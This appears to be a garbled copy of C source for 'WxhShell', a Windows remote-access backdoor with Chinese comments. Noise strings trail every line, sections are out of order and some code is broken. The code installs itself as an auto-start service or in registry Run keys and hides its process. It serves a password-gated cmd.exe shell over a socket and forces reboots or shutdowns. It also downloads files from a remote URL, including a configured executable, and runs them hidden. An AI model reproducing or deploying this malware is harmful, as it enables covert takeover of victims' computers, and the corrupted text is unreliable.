    else { NjMbQ M4  
    closesocket(wsh); M-,vX15S  
    ExitThread(0); K;,n?Q w  
    } BOrfKtG\  
    break; 0rxlN [Yp  
    } {kD|8["Ie'  
  // 获取shell 1mwb&j24n3  
  case 's': { %L=ro qz  
    CmdShell(wsh); CSRcTxH  
    closesocket(wsh); *$Aneq0f  
    ExitThread(0); >#Y8#-$zc  
    break; d2&sl(O  
  } ~=aGv%vX  
  // 退出 ;}#tm9S;  
  case 'x': { WO/;o0{d\9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t(?m!Z?tb  
    CloseIt(wsh); RvZi%)  
    break; 6c^2Nl8e  
    } UN'hnqC  
  // 离开 f7)}A/$4+  
  case 'q': { @C0{m7q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); usZmf=p-r  
    closesocket(wsh); aAh")B2  
    WSACleanup(); 0\qbJ  
    exit(1); { .B^  
    break; yeFt0\=H  
        } z'O$[6m6  
  } Vz1ro  
  } @OZW1p  
YC - -&66  
  // 提示信息 Q!7Er  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nmn$$=~)  
} 36` aG Y  
  } T)6p,l  
pFX Do4eH  
  return; ^:5 ;H=.  
} pa N )t  
3;Kv9i<~LE  
// shell模块句柄 ;JDn1(6  
int CmdShell(SOCKET sock) %L.,:mtq)  
{ j +\I4oFN  
STARTUPINFO si; v*7}ux8  
ZeroMemory(&si,sizeof(si)); mg[=~&J^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k {_X%H/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MLtfi{;LH  
PROCESS_INFORMATION ProcessInfo; dy-m9fc6%  
char cmdline[]="cmd"; rbS67--]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~>3$Id:  
  return 0; EpB2?XGA  
} /B.\6  
"X4OUk  
// 自身启动模式 %Ui&SZ\  
int StartFromService(void) lO3$V JI  
{ oFB~)}f<v  
typedef struct aFjcyD  
{ @(Wx(3JR?}  
  DWORD ExitStatus; ?M. n 9|}y  
  DWORD PebBaseAddress; y/k6gl[`  
  DWORD AffinityMask; 2>Hl=bX  
  DWORD BasePriority; v!27q*;8H  
  ULONG UniqueProcessId; 7dyGC:YuTL  
  ULONG InheritedFromUniqueProcessId; jku_0Q0*?  
}   PROCESS_BASIC_INFORMATION; /.9j$iK#  
+ObP[F  
PROCNTQSIP NtQueryInformationProcess; h}k&#X)7  
srXGe`VL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3 GmU$w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |s`j=<rNQI  
)XV|D  
  HANDLE             hProcess; |Wd]:ijJ  
  PROCESS_BASIC_INFORMATION pbi; w vBx]$SC  
,l^; ZE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9\ZlRYnc=  
  if(NULL == hInst ) return 0; &b8Dy=#  
B{$4s8XU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _ +[;NBz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f4YcZyBGv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W+36"?*k3  
c,pR+DP  
  if (!NtQueryInformationProcess) return 0; )#n0~7 &  
OF J49X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }tA77Cm)45  
  if(!hProcess) return 0; o7 ^t- L  
Zz}Wg@&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7s@%LS  
C"}CD{<H]M  
  CloseHandle(hProcess); \H|tc#::{  
-x)Oo`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q}P< Ejq}  
if(hProcess==NULL) return 0; Gx /sJ(  
VM=A#}  
HMODULE hMod; cdiDfiE  
char procName[255]; r LQBaT7t#  
unsigned long cbNeeded; >a/]8A  
2yZ/'}Mw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,l/~epx4v)  
\) DJo  
  CloseHandle(hProcess); S.&=>   
{=mf/3.r  
if(strstr(procName,"services")) return 1; // 以服务启动 <%w)EQf4m  
f$#--*  
  return 0; // 注册表启动 0'8_:|5  
} [ u7p:?WDW  
c1 aCN  
// 主模块 IxN0m7  
int StartWxhshell(LPSTR lpCmdLine) Mh [TZfV  
{ >%Rb}Ki4  
  SOCKET wsl; s zBlyT  
BOOL val=TRUE; U8TH}9Q  
  int port=0; }]O* yFR{j  
  struct sockaddr_in door; PNy)TqdRS  
r\nKJdh;ka  
  if(wscfg.ws_autoins) Install(); rXl ~D!  
5?6U@??]  
port=atoi(lpCmdLine); tFlLKziU  
| e{F;8  
if(port<=0) port=wscfg.ws_port; {2jetX`@h  
\"r84@<  
  WSADATA data; )@lZ~01~d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uWm,mGd9  
W)F<<B,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;QYUiR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %C8p!)Hu  
  door.sin_family = AF_INET; R"@J*\;$T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kp F")0qr  
  door.sin_port = htons(port); M"XILNV-~  
Ek'~i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bogw/)1  
closesocket(wsl); %{M_\Ae#  
return 1; w5/`_m!  
} ^(}D  
yg}zK>j^vC  
  if(listen(wsl,2) == INVALID_SOCKET) { z= \y)'b  
closesocket(wsl); 8+}yf.`  
return 1; 8w,+Y]X<P[  
} U&F1}P$fb  
  Wxhshell(wsl); =*paa  
  WSACleanup(); #kGgz O  
QuB`}rfLf  
return 0; j?c"BF.  
r'|Vz*/h  
} o )\\(^ld  
 +\Hh|Uz5  
// 以NT服务方式启动 vR`#kxSdJ@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fEv`iXZG  
{ tW^oa  
DWORD   status = 0; 5Z8Zb.  
  DWORD   specificError = 0xfffffff; +,;"?j6<p  
1w` ]2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Np2I*l6W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u& 4i=K'x8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c+BD37S  
  serviceStatus.dwWin32ExitCode     = 0; kdgU1T@y.  
  serviceStatus.dwServiceSpecificExitCode = 0; X  jPPgI  
  serviceStatus.dwCheckPoint       = 0; X mmb^2I  
  serviceStatus.dwWaitHint       = 0; Gt4/ax:A@  
%w$\v"^_Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ul@swp  
  if (hServiceStatusHandle==0) return; ?&gqGU}  
Q1 t-Z; X  
status = GetLastError(); Pv#Oea?  
  if (status!=NO_ERROR) Kl\g{>{Uz  
{ h0cdRi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &b__ /o  
    serviceStatus.dwCheckPoint       = 0; JJQS7,vG  
    serviceStatus.dwWaitHint       = 0; _ww>u""B~  
    serviceStatus.dwWin32ExitCode     = status; WX-J4ieL  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3BZa}Q_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @sr~&YhA  
    return; Sux/='  
  } ia9=&Hy])  
7^oO N+=d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O|} p=ny  
  serviceStatus.dwCheckPoint       = 0; = :/4)  
  serviceStatus.dwWaitHint       = 0; gh?3[q6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sBq-"YcjR  
} &E?TR A# E  
'+s?\X4VC  
// 处理NT服务事件,比如:启动、停止 ?~:4O}5Ax  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R/WbcQ)  
{ 3 0.&Lzz  
switch(fdwControl) $eq*@5B  
{ 7W MF8(j5  
case SERVICE_CONTROL_STOP: mx!EuF$I  
  serviceStatus.dwWin32ExitCode = 0; sU$<v( `"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W]W[oTJ5  
  serviceStatus.dwCheckPoint   = 0; h(/& ;\Cr  
  serviceStatus.dwWaitHint     = 0; 1a]P+-@u[  
  { b|DiU}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9 _b_O T  
  } !{+a2wi  
  return; %HD0N&  
case SERVICE_CONTROL_PAUSE: | 9 <+!t\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *%ta5a  
  break; XOoz.GSQ  
case SERVICE_CONTROL_CONTINUE: ;)ku SH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _u9bZ'  
  break; 0t?g!  
case SERVICE_CONTROL_INTERROGATE: N[zR%(YS  
  break; 0JXXJ:dB  
}; <dKHZ4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3De(:c)@  
} 6n:oEXM>  
H1d2WNr[  
// 标准应用程序主函数 Ms=N+e$n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z^o7&\:  
{ {rzvZ0-j}  
(5l'?7  
// 获取操作系统版本 jfU$qo!gi  
OsIsNt=GetOsVer(); oi7Y?hTj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Se.qft?D%(  
lxfv'A  
  // 从命令行安装 U.Fs9F4M#  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7po;*?Ox  
@ek8t2??x  
  // 下载执行文件 "#8I &xZK  
if(wscfg.ws_downexe) { nH}V:C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) juA}7   
  WinExec(wscfg.ws_filenam,SW_HIDE); #!C|~=  
} ]zz%gZz  
i8!err._  
if(!OsIsNt) { TMD*-wYr  
// 如果时win9x,隐藏进程并且设置为注册表启动 lXRB"z  
HideProc(); bQ-n<Lx  
StartWxhshell(lpCmdLine); l% p4.CX  
} "8 ?6;!,  
else gNC'kCx0c  
  if(StartFromService()) ;;N#'.xD  
  // 以服务方式启动 blUS6"kV}  
  StartServiceCtrlDispatcher(DispatchTable); #V.u[:mO  
else y*E{X  
  // 普通方式启动 k)zBw(wr  
  StartWxhshell(lpCmdLine); xLP8*lvy  
+hcJ!$J7  
return 0; ;?Q0mXr  
} p.5 *`, )  
BkB9u&s^  
(!a\23  
r-Oz k$  
=========================================== i "aQm  
Yc5<Y-W  
(`<B#D;  
Hp@cBj_@P2  
GL^ j |1  
]UrlFiR  
" iZ0.rcQj'o  
UMH~Q`"  
#include <stdio.h> z=4E#y `?U  
#include <string.h> 9y*(SDF  
#include <windows.h> I.o3Old  
#include <winsock2.h> _k5$.f:Yj<  
#include <winsvc.h> JEfhr  
#include <urlmon.h> ~]BR(n  
PAiVUGp5[  
#pragma comment (lib, "Ws2_32.lib") hDbZ62DDN  
#pragma comment (lib, "urlmon.lib") n&8N`!^o  
lEpPi@2PK  
#define MAX_USER   100 // 最大客户端连接数 P.~sNd oJ  
#define BUF_SOCK   200 // sock buffer Y3xEFqMU  
#define KEY_BUFF   255 // 输入 buffer xG(:O@  
0qBXL;sE  
#define REBOOT     0   // 重启 JV! }"[  
#define SHUTDOWN   1   // 关机 hG3RZN#ejq  
/Wy9 ".  
#define DEF_PORT   5000 // 监听端口 d%Ku 'Jy  
eoPoG C  
#define REG_LEN     16   // 注册表键长度 |h:3BV_  
#define SVC_LEN     80   // NT服务名长度 'v@1_HHW\  
&0mhO+g   
// 从dll定义API / `w'X/'VJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 94XRf"^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *JaFt@ x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OmP(&t7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 87nsWBe  
$P&27  
// wxhshell配置信息 6.4,Qae9E  
struct WSCFG { .gI9jRdKw  
  int ws_port;         // 监听端口 4W+nS v  
  char ws_passstr[REG_LEN]; // 口令 OL[_2m*;9p  
  int ws_autoins;       // 安装标记, 1=yes 0=no wSs78c=  
  char ws_regname[REG_LEN]; // 注册表键名 y] ~X{v  
  char ws_svcname[REG_LEN]; // 服务名 P q( )2B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,@2d4eg 4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FD}>}fLv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k_Edug~B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yDw^xGws  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;Y16I#?;Kh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4>@-1nt}  
,<-a 6  
};  ]cI(||x  
[ \Aor[(  
// default Wxhshell configuration F[OBPPQ3  
struct WSCFG wscfg={DEF_PORT, 6UJBE<ntj  
    "xuhuanlingzhe", |&%l @X 6  
    1, k4 %> F  
    "Wxhshell", oDas~0<oh  
    "Wxhshell", h-h}NCP  
            "WxhShell Service", !PrO~  
    "Wrsky Windows CmdShell Service", l+ <x  
    "Please Input Your Password: ", iJE|u  
  1, JXnPKAN  
  "http://www.wrsky.com/wxhshell.exe", PZl(S}VY  
  "Wxhshell.exe" -nT+!3A8  
    }; ?0Ca-T Rz  
ss 3fq}  
// 消息定义模块 i&FC-{|Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i]LK,'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cw<DM%p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q<``}:y|>  
char *msg_ws_ext="\n\rExit."; "WYcw\@U  
char *msg_ws_end="\n\rQuit."; U>x2'B v  
char *msg_ws_boot="\n\rReboot..."; uf)W? `e~  
char *msg_ws_poff="\n\rShutdown..."; Bv@m)$9\+3  
char *msg_ws_down="\n\rSave to "; @+X}O /74  
cCV"(Oo[H|  
char *msg_ws_err="\n\rErr!"; +msHQk5#$m  
char *msg_ws_ok="\n\rOK!";  2 5ZGuM  
,em6wIq,  
char ExeFile[MAX_PATH]; 0_D~n0rq,v  
int nUser = 0; v|,Hd  
HANDLE handles[MAX_USER]; 8rp-Xi W  
int OsIsNt; (Fgt#H(B  
j*:pW;)^  
SERVICE_STATUS       serviceStatus; OEwfNZQ-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1v\-jM"  
47K5[R  
// 函数声明 f|^f^Hu:{  
int Install(void); 8:xQPd?3  
int Uninstall(void); nG%j4r ;  
int DownloadFile(char *sURL, SOCKET wsh); V!<#E)-?<  
int Boot(int flag); VDmd+bvJV  
void HideProc(void); VD3[ko  
int GetOsVer(void); M7> \Qk  
int Wxhshell(SOCKET wsl); :A{-^qd(  
void TalkWithClient(void *cs); sTqB%$K}  
int CmdShell(SOCKET sock); 6~/H#8Kdn  
int StartFromService(void); G\NCEE'A  
int StartWxhshell(LPSTR lpCmdLine); Ul'G g  
|B`tRq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1a!h&!$9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9,c>H6R7  
4QVd{  
// 数据结构和表定义 ~3Y NHm6V  
SERVICE_TABLE_ENTRY DispatchTable[] = DJW1kR  
{ |5/[0V-vy  
{wscfg.ws_svcname, NTServiceMain}, mHMej@  
{NULL, NULL} KE3v3g<  
}; V V4_  
IyuT=A~Ki  
// 自我安装 rN~`4mZ  
int Install(void) fytx({I .a  
{ nJya1AH;  
  char svExeFile[MAX_PATH]; Z7/dRc   
  HKEY key; {LeEnh-  
  strcpy(svExeFile,ExeFile);  k WtUj  
>dl!Ep  
// 如果是win9x系统,修改注册表设为自启动 eBV{B70k  
if(!OsIsNt) { 7| T:TbY>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^Bb_NcU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HW G~m:km  
  RegCloseKey(key); S_CtE M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5xHiq &d.E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hF1/=;>  
  RegCloseKey(key); 7GUJ&U) J  
  return 0; ?:nZv< x  
    } !T~d5^l!  
  } 1W g8jr's  
} 8( D}y\  
else { yBj)#m5!  
Td >k \<  
// 如果是NT以上系统,安装为系统服务 _2Z3?/Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +*DX(v"BH  
if (schSCManager!=0) >cNXB7]E>  
{ ;^*!<F%t9R  
  SC_HANDLE schService = CreateService `Vi:r9|P  
  ( NHF?73:  
  schSCManager, @7=D]yu  
  wscfg.ws_svcname, YM|S<  
  wscfg.ws_svcdisp, J4g;~#_19  
  SERVICE_ALL_ACCESS, [VW;L l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zFr}$  
  SERVICE_AUTO_START, 9%qMZP0]  
  SERVICE_ERROR_NORMAL, j#f&!&G5<&  
  svExeFile, "/?qT;<$)  
  NULL, 0d ->$gb  
  NULL, RX1{?*r]Z  
  NULL, ODEXQl}R  
  NULL, &^_(xgJL  
  NULL (O2HB-<rY  
  ); SEIu4 l$E  
  if (schService!=0) tl5IwrF6;  
  { '[8b0\  
  CloseServiceHandle(schService); :gq@/COo(  
  CloseServiceHandle(schSCManager); yp^*TD/J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *"\Q ~#W  
  strcat(svExeFile,wscfg.ws_svcname); m[j3s=Gr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z5L1^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ELF`u WG E  
  RegCloseKey(key); bl?%:qb.V  
  return 0; e}[we:  
    } B?y t%f1  
  } :(`>bY  
  CloseServiceHandle(schSCManager); CJixK>Y^  
} ~bTae =FP  
} -<!17jy  
YX VJJd$U  
return 1; 3{:<z 4>{  
} rcmAVl:$>  
; ,<J:%s  
// 自我卸载 }>~>5jc/Pg  
int Uninstall(void) &2=KQ\HO  
{ d %W}w.  
  HKEY key; E$Pjp oQTf  
vqOLSE"t*O  
if(!OsIsNt) { ~!F4JRf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5I1J)K;  
  RegDeleteValue(key,wscfg.ws_regname); \{zAX~k6  
  RegCloseKey(key); bV*zMoD#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A9Wqz"[  
  RegDeleteValue(key,wscfg.ws_regname); vfUfrk@D~  
  RegCloseKey(key); t=rAc yNM  
  return 0; U/!&KsnT  
  } _|B&v  
} m`IQ+, e  
} gQ[^gPWP"  
else { IW o~s  
BemkCj2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "%Ana=cc  
if (schSCManager!=0) Cw&D}  
{ G5#}Ed4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )?&kQ^@v  
  if (schService!=0) Y;F R"~^  
  { ?s)sPM?  
  if(DeleteService(schService)!=0) { ,Kf8T9z`  
  CloseServiceHandle(schService); -wQ^oOJ  
  CloseServiceHandle(schSCManager); J%:/<uCmZ  
  return 0; qf`xH"$  
  } |;9 A{#zM  
  CloseServiceHandle(schService); !u { "] T:  
  } C'czXZtn  
  CloseServiceHandle(schSCManager); nQ17E{^pR  
} <yI,cM<c  
} !LIfeL.4h  
(}1v^~FXj  
return 1; `m 3QT3B  
} +^DRto=  
+1Rr kok  
// 从指定url下载文件 eSX[J6  
int DownloadFile(char *sURL, SOCKET wsh) !x$ :8R  
{ JkDPuTXD  
  HRESULT hr; #;LMtDaL  
char seps[]= "/"; qD;v/,?  
char *token; ;xO=Yhc+  
char *file; k5t^s  
char myURL[MAX_PATH]; )s<WG}  
char myFILE[MAX_PATH]; Yuo1'gE+  
?QSx8d  
strcpy(myURL,sURL); 20l_ay  
  token=strtok(myURL,seps); CLY6 YB' R  
  while(token!=NULL) gJ5wAK+?  
  { bV$8 >[`  
    file=token; 3$N %iE6  
  token=strtok(NULL,seps); ^jha:d  
  } 9c^skNbS  
,3]?%t0xe  
GetCurrentDirectory(MAX_PATH,myFILE); noh|/sPMD  
strcat(myFILE, "\\"); :#w+?LA*  
strcat(myFILE, file); M_!u@\  
  send(wsh,myFILE,strlen(myFILE),0); xw+<p  
send(wsh,"...",3,0); Km9}^*Mo%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |3, yq^2  
  if(hr==S_OK) dmaqXsU8q  
return 0; z/0yO@_D/q  
else }WO9!E(  
return 1; EARfbb"SG7  
JC&6q >$  
} )y`TymM[F  
oB0 8  
// 系统电源模块 ] `B,L*m6  
int Boot(int flag) N$%61GiulT  
{ >{ECyh;  
  HANDLE hToken; &7($kj  
  TOKEN_PRIVILEGES tkp; }*.:Hv"  
j!S1Y0CV  
  if(OsIsNt) { w`j*W$82  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [T4 pgt'H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lj EB  
    tkp.PrivilegeCount = 1; (3ZvXpzvF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =s0g2Zv"\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bn1L?>G  
if(flag==REBOOT) { 2~M;L&9-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eA1k)gjE  
  return 0; E5*-;>2c  
} 3V/_I<y  
else { xHv|ca.E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x[PEn  
  return 0; q8?= *1g  
} ,TF<y#wed  
  } #u8*CA9  
  else { VR4E 2^  
if(flag==REBOOT) { $-$5ta{s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C|4 U78f{  
  return 0; &@4.;u  
} NWJcFj_  
else { Z[#I"-Q~:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gb=80s0  
  return 0; YER:ICQ  
} ZI58XS+  
} DYo<5^0  
wi\z>'R  
return 1; Y_[g_  
} 068WlF cWV  
y _'eyR@)  
// win9x进程隐藏模块 C~ZE95g  
void HideProc(void) 3VcT7y*{P  
{ $R%+*  
U_ x0KIm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J16=!q()  
  if ( hKernel != NULL ) 1Q&cVxA"\  
  { tLS<0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K08 iPIkQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Cq?',QU6j  
    FreeLibrary(hKernel); _YH<YOrMh  
  } 2f3=?YqD  
"H5&3sF2  
return; a3O nW\N  
} fDU+3b  
cP*c(k~N  
// 获取操作系统版本  : cFF  
int GetOsVer(void) Z$!C=  
{ @+?+6sS  
  OSVERSIONINFO winfo; AA))KBXq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >vQ6V'F  
  GetVersionEx(&winfo); _&W0e}4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "?i>p z  
  return 1; 5U0ytDZ2/(  
  else '"` Lv/  
  return 0; 968Ac}OA  
} 4)c+t"h  
IIq"e~"Vs  
// 客户端句柄模块 ')C|`(hs   
int Wxhshell(SOCKET wsl) 13ipaz  
{ d@-wi%,^  
  SOCKET wsh; |yLk5e~@-  
  struct sockaddr_in client; i[^k.W3gf  
  DWORD myID; 1KW3l<v-6  
HR[Q ?rg  
  while(nUser<MAX_USER) 'Z\{D*=V8  
{ X!T|07#c  
  int nSize=sizeof(client); TkA9tFi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \4OK!6LkI  
  if(wsh==INVALID_SOCKET) return 1; HS{P?~:=U  
M'^(3#ZU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C0zrXhY_v  
if(handles[nUser]==0) @ (i*-u3Tq  
  closesocket(wsh); jZrY=f  
else ]|,vCKju  
  nUser++; iH[E= 6*  
  } +yth_9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pAEN XC\,  
mH'\:oN  
  return 0; =f o4x|{O  
} f 4R1$(<  
/ca(a\@R  
// 关闭 socket h=hoV5d@  
void CloseIt(SOCKET wsh) DeA@0HOxh  
{ }g}6qCv7  
closesocket(wsh); 3nwz<P  
nUser--; !loO%3_)  
ExitThread(0); ]a)IMIh;  
} = Q@6c   
PM@XtL7J  
// 客户端请求句柄 j\! e9M  
void TalkWithClient(void *cs) e d_m +NM  
{ ll_}& a0G  
fb /qoZ  
  SOCKET wsh=(SOCKET)cs; aJI>FTdK  
  char pwd[SVC_LEN]; l x7Kw%  
  char cmd[KEY_BUFF]; h:f;mn?x  
char chr[1]; FnY$)o;   
int i,j; ?3[tJreVj  
pXssh  
  while (nUser < MAX_USER) { Dft4isyt^  
%Hh3u$Y,  
if(wscfg.ws_passstr) { o5>/}wIf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); # 2d,U\_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vsH3{:&;"P  
  //ZeroMemory(pwd,KEY_BUFF); )+?HI^-[S  
      i=0; T 4eWbNSs  
  while(i<SVC_LEN) { ~fBex_.o*  
INOH{`}Ew  
  // 设置超时 &uPDZ#C-  
  fd_set FdRead; dnix:'D1  
  struct timeval TimeOut; 6zuze0ud  
  FD_ZERO(&FdRead); Z^<Sj5}6  
  FD_SET(wsh,&FdRead); rmoJ =.'  
  TimeOut.tv_sec=8; #7+]%;h  
  TimeOut.tv_usec=0; ^=k {~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A&NqQ V,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6>s=Ci ZB  
691G15  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]s _@n!  
  pwd=chr[0]; au}s=ua~i  
  if(chr[0]==0xd || chr[0]==0xa) { "tKNlHBu'  
  pwd=0; t|.Ft<c#  
  break; .W$ sxVXB  
  } ><X $#  
  i++; yu=piP  
    } q4) Ey  
GJvp{U}y9I  
  // 如果是非法用户,关闭 socket 9T$u+GX'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V#NtBreN  
}  ER_ 3'  
 b)Tl*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >zFD $  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B_cgWJ*4  
:Z[(A"dA  
while(1) { 6i| ~7md,  
! j{CuA/  
  ZeroMemory(cmd,KEY_BUFF); iyc$)"w  
O)`Gzx*ShU  
      // 自动支持客户端 telnet标准   v[VC2D  
  j=0; e]+7DE  
  while(j<KEY_BUFF) { }Fm\+JOS   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?&6Q%IUW1  
  cmd[j]=chr[0]; J]dW1boT@  
  if(chr[0]==0xa || chr[0]==0xd) { ~?CS_B *  
  cmd[j]=0; * .o"ZVl  
  break; 3+%nn+m  
  } z<i,D08|d  
  j++; -8/JP  
    } rfc|`*m}0  
K>$qun?5  
  // 下载文件 lQWBCJ8y  
  if(strstr(cmd,"http://")) { u (AA`S"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^iuo^2+  
  if(DownloadFile(cmd,wsh)) D&-vq,c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i+I0k~wY  
  else /~tP7<7A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sj@15 W  
  } \WX@PfL  
  else { "Vx6 #u@}  
6`Lcs  
    switch(cmd[0]) { >O3IfS(l  
